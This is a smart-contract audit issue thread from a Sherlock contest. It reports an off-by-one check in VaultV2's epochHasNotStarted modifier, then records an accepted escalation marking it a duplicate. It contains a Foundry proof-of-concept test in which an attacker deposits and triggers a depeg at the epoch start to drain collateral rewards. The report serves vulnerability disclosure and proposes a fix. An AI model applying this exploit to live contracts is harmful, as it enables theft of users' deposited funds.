Inspex - The function that has epochHasNotStarted modifier can be called even if epoch is at the start state.

[sherlock-admin]

Inspex

medium

The function that has epochHasNotStarted modifier can be called even if epoch is at the start state.

Summary

The epochHasNotStarted modifier was improperly used with >, causing the begin block to remain in a not-started state.

Vulnerability Detail

The deposit() function is used to deposit assets into the vault for purchasing or selling insurance of stable tokens before the block.timestamp reaches the epochBegin state. This is limited by the epochHasNotStarted modifier in line 102.

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L93-L115

However, if the block.timestamp reaches the epochBegin state, the epoch state will still be not-started state due to the improper check in the epochHasNotStarted modifier in line 433.

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L432-L436

This results in a contradiction with other logic in both the controller and the documentation.

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Controllers/ControllerPeggedAssetV2.sol#L73

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Controllers/ControllerPeggedAssetV2.sol#L224

Impact

The user can call functions that have epochHasNotStarted modifier when block.timestamp is equal the epochBegin state.

Moreover, the user can call both the deposit() and triggerDepeg() functions to receive the maximum benefit in a single transaction when the current block.timestamp is equal the value in the epochBegin state and the token has already depegged. Proof of concept as shown below.

function testExploit() public {  
    vm.startPrank(USER);
    vm.warp(begin - 10 days);

    // deal ether
    deal(UNDERLYING, USER, 10000 ether, true);

    //approve gov token
    MintableToken(UNDERLYING).approve(depegPremium, 10000 ether);
    MintableToken(UNDERLYING).approve(depegCollateral, 10000 ether);

    //deposit in both vaults
    VaultV2(depegPremium).deposit(depegEpochId, 1 ether, USER);
    VaultV2(depegCollateral).deposit(depegEpochId, 1000 ether, USER);

    vm.stopPrank();

    //warp to begin
    vm.warp(begin);

    address ATTACKER = address(0x1337);

    // flashloan to claim most of reward in collateral
    deal(UNDERLYING, ATTACKER, 99 ether, true);

    vm.startPrank(ATTACKER);

    // deposit at begin timestamp
    MintableToken(UNDERLYING).approve(depegPremium, 99 ether);
    VaultV2(depegPremium).deposit(depegEpochId, 99 ether, ATTACKER);

    // trigger depeg at begin timestamp
    controller.triggerDepeg(depegMarketId, depegEpochId);

    VaultV2(depegPremium).withdraw(depegEpochId, 99 ether, ATTACKER, ATTACKER);

    // minus fee 
    assertTrue(MintableToken(UNDERLYING).balanceOf(ATTACKER) > 980 ether);
    vm.stopPrank();
}

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/VaultV2.sol#L432-L436

Tool used

Manual Review

Recommendation

We suggest changing the validation in the epochHasNotStarted modifier to >=.

modifier epochHasNotStarted(uint256 _id) {
  if (block.timestamp >= epochConfig[_id].epochBegin)
        revert EpochAlreadyStarted();
  _;
}

Duplicate of #480

[InspexAuditor]

Escalate for 10 USDC
The #162 issue has to be classified as a valid issue; the issue itself is a duplicate of #480, #85.
The issue's detail, impact, and likelihood are the same. The issue itself is an improper period check in the epochHasNotStarted modifier; it happens every single epoch. However, I and other Watsons raise it with concern for the highest impact that could be possible (when block.timestamp == epochBegin), so that while I put it as an attack scenario, an attacker can leverage this issue to drain the funds.

[sherlock-admin]

Escalate for 10 USDC
The #162 issue has to be classified as a valid issue; the issue itself is a duplicate of #480, #85.
The issue's detail, impact, and likelihood are the same. The issue itself is an improper period check in the epochHasNotStarted modifier; it happens every single epoch. However, I and other Watsons raise it with concern for the highest impact that could be possible (when block.timestamp == epochBegin), so that while I put it as an attack scenario, an attacker can leverage this issue to drain the funds.

You've created a valid escalation for 10 USDC!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

[hrishibhat]

Escalation accepted

Valid duplicate of #480

[sherlock-admin]

Escalation accepted

Valid duplicate of #480

This issue's escalations have been accepted!

Contestants' payouts and scores will be updated according to the changes made on this issue.